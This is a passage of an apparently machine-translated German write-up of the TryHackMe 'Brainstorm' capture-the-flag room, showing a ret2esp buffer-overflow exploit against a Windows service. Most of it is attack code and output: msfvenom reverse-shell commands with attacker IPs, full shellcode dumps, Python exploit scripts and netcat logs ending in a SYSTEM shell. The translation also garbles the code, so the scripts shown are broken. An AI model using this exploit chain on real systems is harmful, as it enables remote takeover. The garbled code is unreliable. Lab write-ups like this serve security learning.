\ xc0" "\ xc1 \ xc2 \ xc3 \ xc4 \ xc5 \ xc6 \ xc7 \ xc8 \ xc9 \ xca \ xcb \ xcc \ xcd \ xce \ xcf \ xd0" "\ xd1 \ xd2 \ xd3 \ xd4 \ xd5 \ xd6 \ xd7 \ xd8 \ xd9 \ xda \ xdb \ xdc \ xdd \ xde \ xdf \ xe0" "\ xe1 \ xe2 \ xe3 \ xe4 \ xe5 \ xe6 \ xe7 \ xe8 \ xe9 \ xea \ xeb \ xec \ xed \ xee \ xef \ xef \ xf0" "\ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf7 \ xf8 \ xf9 \ xfa \ xfb \ xfc \ xfd \ xfe \ xff") Nachricht += ESPT += Badchars # Message += NOP # Message += Message += Message += Message += Message + Socket.Socket (Socket.af_inet, Socket.Sock_Stream) S.Connect ((Adresse, Port)) S.Recv (1024) S.Send ((Benutzer + '\ r \ n'). codieren ("utf-8") S.Recv (1024) Print ("utf-8"). E: Drucken (e) drucken ('[!] Die Anwendung kann nicht hergestellt werden.') sys.exit (0) Schließlich: s.close ()
Nach dem Betrachten des hexadezimalen Müllkippe gibt es keine ungültigen Zeichen.
Mit anderen Worten, es scheint keine Notwendigkeit zu geben, etwas anderes als Null -Bytes zu berücksichtigen.

Antwort
JMP ESP

Da dies funktionieren würde, können Sie versuchen, einen Shellcode zu generieren. Verwenden Sie MSFvenom, um Shellcode für Windows zu generieren. (Dies funktioniert. Versuchen Sie also, einen Shellcode zu generieren. Verwenden Sie MSFvenom, um Shellcode für Fenster zu generieren.)
Als nächstes generieren wir den Hexadezimalcode für die Reverse Shell.
Verwenden Sie MSFvenom.
- -P: Nutzlasttyp angeben: Windows/Shell_reverse_tcp
- LHOST: Geben Sie die IP -Adresse des lokalen Hosts an, zu dem Sie eine Verbindung herstellen möchten: IP der Angriffsmaschine
- LPORT: Geben Sie den lokalen Port an, um eine Verbindung zu: Port auf dem Anhörungen des Angriffsautomats zu erreichen
- ExitFunc: Thread
- -F: Format angeben: py
- -E: Geben Sie Encoder an: x86/shikata_ga_nai
- -B: Geben Sie ungültige Zeichen an: "\ x00"
┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.158 LPORT=1234 EXITFUNC=thread -f py -e x86/shikata_ga_nai -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Nutzlastgröße: 351 Bytes endgültige Größe der PY -Datei: 1712 Bytes buf = b "" buf += b "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf += B "\ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e" buf += B "\ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ x19 \ x1f \ x3a \ xf1 \ x7e" buf += B "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xdf" buf += B "\ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x71 \ xa0 \ x14 \ xc4 \ x51 \ x99" buf += B "\ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ x40 \ x46 \ xf4 \ xbc \ x1d" buf += B "\ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xca \ x33 \ xd3 \ xed \ xcc" buf += B "\ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x47 \ xad \ x5f \ x9e \ x81" buf += B "\ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ x0b" buf += B "\ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ x65 \ x6a \ xee \ xe3 \ xaa" buf += B "\ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ x5a \ x08 \ x12 \ x51" buf += B "\ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x09 \ xac \ x92 \ x28 \ x49" buf += B "\ x0f \ x4a \ x8d \ x02 \ xa2 \ x9f \ xbc \ x49 \ xab \ x6c \ x8d \ x71 \ x2b" buf += B "\ xfb \ x86 \ x02 \ x19 \ xa4 \ x3c \ x8c \ x11 \ x2d \ x9b \ x4b \ x55 \ x04" buf += B "\ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ x6e \ xf3 \ xcc \ x64 \ x46 \ x7c \ x87" buf += B "\ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ x02 \ xe9 \ x94 \ xa7 \ xf2 \ x81 \ xfe" buf += B "\ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ x65 \ xaa \ x35 \ x02 \ xe8" buf += B "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe4 \ x72 \ x75 \ x84 \ xbf \ xea \ xec" buf += B "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5" buf += B "\ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x0e \ xad \ x78 \ x16 \ xd5 \ x2d" buf += B "\ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ x4d \ xa4 \ x35 \ x0c \ x8c" buf += B "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e" buf += B "\ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x71 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xd9" buf += B "\ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xf3 \ x03 \ xb7 \ xe9 \ x0c" buf += B "\ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ x01 \ xac \ x51 \ x1f \ xe0 \ x64 \ xac" buf += B "\ x88 \ xbd \ xed \ x0d \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xe8 \ x2a \ x17" buf += B "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ x04"
Jetzt haben Sie einen Reverse Shellcode.
Antwort
Siehe oben

Was ist der Inhalt der Root.txt -Datei nach dem Zugriff?
Nachdem Sie alle notwendigen Informationen haben, lassen Sie uns sie zusammenstellen.
- EIP -Offset: 'A' * 2012: Angemessene 2012 Bytes
- EIP: '\ xdf \ x14 \ x50 \ x62': JMP ESP -Adresse
- NOPS: Ungefähr 20: Zu Beginn des Skripts 20 NOPs hinzugefügt, um während der Dekodierungsstufe Fehler zu vermeiden.
- BUF: Shell Skript
Wenn Sie dies getan haben, versuchen Sie es mit einer Reverse Shell.
┌── (hacklab㉿hacklab)-[~/tryhackme/Brainstorming] └─ $ cat test.py #!/Usr/bin/python import-stecket, sys address = '192.168.0.126' port = 9999 user = 'test'.code ("utf-8") buf = b "buf + B "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf += B "\ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e" buf += B "\ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ x19 \ x1f \ x3a \ xf1 \ x7e" buf += B "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xdf" buf += B "\ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x71 \ xa0 \ x14 \ xc4 \ x51 \ x99" buf += B "\ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ x40 \ x46 \ xf4 \ xbc \ x1d" buf += B "\ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xca \ x33 \ xd3 \ xed \ xcc" buf += B "\ xb2 \ x30 \ x86 \ x44 \ xac \ x55 \ xa3 \ x1f \ x47 \ xad \ x5f \ x9e \ x81" buf += B "\ xff \ xa0 \ x0d \ xec \ xcf \ x52 \ x4f \ x29 \ xf7 \ x8c \ x3a \ x43 \ x0b" buf += B "\ x30 \ x3d \ x90 \ x71 \ xee \ xc8 \ x02 \ xd1 \ x65 \ x6a \ xee \ xe3 \ xaa" buf += B "\ xed \ x65 \ xef \ x07 \ x79 \ x21 \ xec \ x96 \ xae \ x5a \ x08 \ x12 \ x51" buf += B "\ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x09 \ xac \ x92 \ x28 \ x49" buf += B "\ x0f \ x4a \ x8d \ x02 \ xa2 \ x9f \ xbc \ x49 \ xab \ x6c \ x8d \ x71 \ x2b" buf += B "\ xfb \ x86 \ x02 \ x19 \ xa4 \ x3c \ x8c \ x11 \ x2d \ x9b \ x4b \ x55 \ x04" buf += B "\ x5b \ xc3 \ xa8 \ xa7 \ x9c \ xca \ x6e \ xf3 \ xcc \ x64 \ x46 \ x7c \ x87" buf += B "\ x74 \ x67 \ xa9 \ x08 \ x24 \ xc7 \ x02 \ xe9 \ x94 \ xa7 \ xf2 \ x81 \ xfe" buf += B "\ x27 \ x2c \ xb1 \ x01 \ xe2 \ x45 \ x58 \ xf8 \ x65 \ xaa \ x35 \ x02 \ xe8" buf += B "\ x42 \ x44 \ x02 \ x10 \ x41 \ xc1 \ xe4 \ x72 \ x75 \ x84 \ xbf \ xea \ xec" buf += B "\ x8d \ x4b \ x8a \ xf1 \ x1b \ x36 \ x8c \ x7a \ xa8 \ xc7 \ x43 \ x8b \ xc5" buf += B "\ xdb \ x34 \ x7b \ x90 \ x81 \ x93 \ x84 \ x0e \ xad \ x78 \ x16 \ xd5 \ x2d" buf += B "\ xf6 \ x0b \ x42 \ x7a \ x5f \ xfd \ x9b \ xee \ x4d \ xa4 \ x35 \ x0c \ x8c" buf += B "\ x30 \ x7d \ x94 \ x4b \ x81 \ x80 \ x15 \ x19 \ xbd \ xa6 \ x05 \ xe7 \ x3e" buf += B "\ xe3 \ x71 \ xb7 \ x68 \ xbd \ x2f \ x71 \ xc3 \ x0f \ x99 \ x2b \ xb8 \ xd9" buf += B "\ x4d \ xad \ xf2 \ xd9 \ x0b \ xb2 \ xde \ xaf \ xf3 \ x03 \ xb7 \ xe9 \ x0c" buf += B "\ xab \ x5f \ xfe \ x75 \ xd1 \ xff \ x01 \ xac \ x51 \ x1f \ xe0 \ x64 \ xac" buf += B "\ x88 \ xbd \ xed \ x0d \ xd5 \ x3d \ xd8 \ x52 \ xe0 \ xbd \ xe8 \ x2a \ x17" buf += B "\ xdd \ x99 \ x2f \ x53 \ x59 \ x72 \ x42 \ xcc \ x0c \ x74 \ xf1 \ xed \ x04" EIP = B '\ xdf \ x14 \ x50 \ x62' NOP = b '\ x90' ' 2012).encode("utf-8") message += eip message += nop message += buf try: print('[+] Sending buffer') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((address,port)) s.recv(1024) s.send(user + '\r\n'.encode("utf-8")) S.Recv (1024) print ("message") ssend (message + '\ r \ n'.code ("utf-8") außer Ausnahme als e: print (e) drucken (' [!] Die Anwendung kann nicht hergestellt werden. ') sys.exit (0) schließlich: S.CLOSE ()
Hören Sie auf der Angriffsmaschine.
┌── (hacklab㉿hacklab) -[~] └─ $ nc -nlvp 1234 Hören Sie [Any] 1234 ...
Laufen Sie diesen Zustand.
┌── (hacklab㉿hacklab)-[~/tryhackme/Brainstorming] └─ $ python3 test.py [+] Sendenpuffernachricht senden
Ich habe es geschafft, die Hülle zu bekommen!
┌── (hacklab㉿hackLab) -[~] └─ $ nc -nlvp 1234 Hören Sie sich an [beliebig] 1234 ... Verbinden Sie sich mit [192.168.0.158] von (unbekannt) [192.168.0.126] 60010 Microsoft Windows [Version 10.0.22621.1848] (C) Microsoft -Fenster. Alle Rechte vorbehalten. C: \ Benutzer \ **** \ **** \ Brainstorming>
Dies ist immer noch eine lokale Maschine. Passen wir sie also ein wenig für die Zielmaschine an.
Bauen Sie zuerst die Reverse Shell wieder auf.
┌──(hacklab㉿hacklab)-[~/tryhackme/Brainstorm] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.18.110.90 LPORT=1234 EXITFUNC=thread -f py -e x86/shikata_ga_nai -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Nutzlastgröße: 351 Bytes endgültige Größe der PY -Datei: 1712 Bytes buf = b "" buf += b "\ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x31" buf + B "\ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x03 \ x50 \ x17 \ x83 \ x89 \ x7b \ x81" buf += B "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xe9 \ x33" buf += B "\ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ x14" buf += B "\ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x41 \ x0d \ x09 \ x9c \ x78" buf += B "\ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x16 \ x4f \ x03 \ x3f \ x12 \ x05" buf += B "\ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ x89 \ xfc \ x32 \ xf5 \ x09" buf += B "\ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ x9c \ xcf \ x47 \ xdd \ x74" buf += B "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf += B "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf += B "\ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ x6d \ x37 \ x31 \ x45 \ xa1" buf += B "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x8c" buf += B "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xed \ xeb \ x14" buf += B "\ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x4c \ x6b \ xce \ xbc \ x8c" buf += B "\ xe3 \ x59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ xdc \ x90 \ xf4 \ x1f" buf += B "\ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ x89 \ x3f \ xf9 \ x74 \ x42" buf += B "\ xbf \ x06 \ xa1 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x09 \ xcb \ x4e \ xb5" buf += B "\ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x07 \ x68 \ xc8 \ x23 \ x8d" buf += B "\ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5f \ xb7 \ x2e \ xf6 \ xc8 \ x2e" buf += B "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ x23" buf += B "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ x33 \ xe6" buf += B "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += B "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += B "\ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x7f \ x0d \ xde \ xf8 \ x80" buf += B "\ x09 \ x8a \ x54 \ xd7 \ xc7 \ x64 \ x13 \ x81 \ xa9 \ xde \ xcd \ x7e \ x60" buf += B "\ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x2c \ x24 \ x75 \ x10 \ x53" buf += B "\ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xa2 \ xb9 \ x2d \ xce" buf += B "\ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x13 \ xb7 \ x2e \ x14 \ x91 \ x48 \ xd5" buf += B "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xab \ xa2"
Schreiben Sie als nächstes Buf.
┌── (hacklab㉿hacklab)-[~/tryhackme/Brainstorming] └─ $ cat test3.py #!/Usr/bin/python import-stecket, sys address = '10 .10.131.55 'port = 9999 user =' test'.code ("utf-8") buf = b "buf + B "\ xd9 \ xe8 \ xba \ x61 \ x87 \ x63 \ xd7 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x31" buf += B "\ xc9 \ xb1 \ x52 \ x31 \ x50 \ x17 \ x03 \ x50 \ x17 \ x83 \ x89 \ x7b \ x81" buf += B "\ x22 \ xb5 \ x6c \ xc4 \ xcd \ x45 \ x6d \ xa9 \ x44 \ xa0 \ x5c \ xe9 \ x33" buf += B "\ xa1 \ xcf \ xd9 \ x30 \ xe7 \ xe3 \ x92 \ x15 \ x13 \ x77 \ xd6 \ xb1 \ x14" buf += B "\ x30 \ x5d \ xe4 \ x1b \ xc1 \ xce \ xd4 \ x3a \ x41 \ x0d \ x09 \ x9c \ x78" buf += B "\ xde \ x5c \ xdd \ xbd \ x03 \ xac \ x8f \ x16 \ x4f \ x03 \ x3f \ x12 \ x05" buf += B "\ x98 \ xb4 \ x68 \ x8b \ x98 \ x29 \ x38 \ xaa \ x89 \ xfc \ x32 \ xf5 \ x09" buf += B "\ xff \ x97 \ x8d \ x03 \ xe7 \ xf4 \ xa8 \ xda \ x9c \ xcf \ x47 \ xdd \ x74" buf += B "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf += B "\ x1e \ xa7 \ x72 \ xb9 \ xae \ x5a \ x8a \ xfe \ x09 \ x85 \ xf9 \ xf6 \ x69" buf += B "\ x38 \ xfa \ xcd \ x10 \ xe6 \ x8f \ xd5 \ xb3 \ x6d \ x37 \ x31 \ x45 \ xa1" buf += B "\ xae \ xb2 \ x49 \ x0e \ xa4 \ x9c \ x4d \ x91 \ x69 \ x97 \ x6a \ x1a \ x8c" buf += B "\ x77 \ xfb \ x58 \ xab \ x53 \ xa7 \ x3b \ xd2 \ xc2 \ x0d \ xed \ xeb \ x14" buf += B "\ xee \ x52 \ x4e \ x5f \ x03 \ x86 \ xe3 \ x02 \ x4c \ x6b \ xce \ xbc \ x8c" buf += B "\ xe3 \ x59 \ xcf \ xbe \ xac \ xf1 \ x47 \ xf3 \ x25 \ xdc \ x90 \ xf4 \ x1f" buf += B "\ x98 \ x0e \ x0b \ xa0 \ xd9 \ x07 \ xc8 \ xf4 \ x89 \ x3f \ xf9 \ x74 \ x42" buf += B "\ xbf \ x06 \ xa1 \ xc5 \ xef \ xa8 \ x1a \ xa6 \ x5f \ x09 \ xcb \ x4e \ xb5" buf += B "\ x86 \ x34 \ x6e \ xb6 \ x4c \ x5d \ x05 \ x4d \ x07 \ x68 \ xc8 \ x23 \ x8d" buf += B "\ x04 \ xee \ xbb \ x35 \ x07 \ x67 \ x5d \ x5f \ xb7 \ x2e \ xf6 \ xc8 \ x2e" buf += B "\ x6b \ x8c \ x69 \ xae \ xa1 \ xe9 \ xaa \ x24 \ x46 \ x0e \ x64 \ xcd \ x23" buf += B "\ x1c \ x11 \ x3d \ x7e \ x7e \ x7e \ xb4 \ x42 \ x54 \ x16 \ x5a \ xd0 \ x33 \ xe6" buf += B "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += B "\ x15 \ xc9 \ xeb \ xb1 \ x72 \ x3f \ xe2 \ x57 \ x6f \ x66 \ x5c \ x45 \ x72" buf += B "\ xfe \ xa7 \ xcd \ xa9 \ xc3 \ x26 \ xcc \ x3c \ x7f \ x0d \ xde \ xf8 \ x80" buf += B "\ x09 \ x8a \ x54 \ xd7 \ xc7 \ x64 \ x13 \ x81 \ xa9 \ xde \ xcd \ x7e \ x60" buf += B "\ xb6 \ x88 \ x4c \ xb3 \ xc0 \ x94 \ x98 \ x45 \ x2c \ x24 \ x75 \ x10 \ x53" buf += B "\ x89 \ x11 \ x94 \ x2c \ xf7 \ x81 \ x5b \ xe7 \ xb3 \ xa2 \ xb9 \ x2d \ xce" buf += B "\ x4a \ x64 \ xa4 \ x73 \ x17 \ x97 \ x13 \ xb7 \ x2e \ x14 \ x91 \ x48 \ xd5" buf += B "\ x04 \ xd0 \ x4d \ x91 \ x82 \ x09 \ x3c \ x8a \ x66 \ x2d \ x93 \ xab \ xa2" esp = b '\ xdf \ x14 \ x50 \ x62' NOP = b '\ x90' * 20 Motor 2012) .Encode ("utf-8") Nachricht += ESP-Nachricht += NOP-Nachricht += buf Versuch: print ('[ +] Senden von Buffer') S = Socket.Socket (Socket.af_inet, Socket.sock_stream) S.Connect ((Adresse)) S.Recv (1024) S. Send (user +) +'\ r \ r \ r \ r \ r \ r \ \ n'. ". S.Recv (1024) print ("message") ssend (message + '\ r \ n'.code ("utf-8") außer Ausnahme als e: print (e) drucken (' [!] Die Anwendung kann nicht hergestellt werden. ') sys.exit (0) schließlich: S.CLOSE ()
In diesem Zustand konnte ich die Zielmaschine erfolgreich infiltrieren.
┌── (hacklab㉿hacklab) -[~] └─ $ NC -NLVP 1234 Hören Sie sich an [an jedem] 1234 ... eine Verbindung zu [10.18.110.90] von (unbekannt) [10.10.131.55] 49175 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Corporation. Alle Rechte vorbehalten. C: \ Windows \ System32> whoami whoami nt Authority \ System
Ich werde versuchen, Root.txt zu suchen.
┌── (hacklab㉿hackLab) -[~] └─ $ nc -nlvp 1234 1 ⨯ Hören Sie [an jedem] 1234 ... Connect to [10.18.110.90] Von (unbekannt) [10.10.131.55] 49196 Microsoft Windows [Version 6.1.7601] Copyright (C) 2009. Alle Rechte vorbehalten. ... c: \ user \ drake \ desktop> Dir -Lautstärke im Laufwerk C hat kein Etikett. Die Seriennummer des Volumens ist C87F-5040-Verzeichnis von C: \ Users \ Drake \ Desktop am 29.08.2019 22:55 Uhr<DIR> . 29.08.2019 22:55 Uhr<DIR> .. 29.08.2019 22:55 PM 32 root.txt 1 Datei (s) 32 Bytes 2 Dir (s) 19,703,422,976 Bytes kostenlos c: \ user \ drake \ Desktop> Typ root.txt type C: \ Benutzer \ Drake \ Desktop>
Ich habe das Verzeichnis durchsucht und root.txt gefunden!
Antwort

Zusammenfassung
Diesmal habe ich den "Ret2esp -Angriff, einen der Pufferüberlaufangriffe" ausprobiert.
Es war ziemlich schwierig, aber nachdem ich eine Vielzahl von Aufschreiben gelesen hatte, bekam ich es endlich. . . So ist es.
Es gab einige, die ich die Antwort nicht kenne, also werde ich in Zukunft einige Nachforschungen anstellen. . .
Referenzen und Websites
pencil.io: https://pencer.io/ctf/ctf-tm-brainstorm/
nop- blog
: https://nop-blog.tech/tryhackme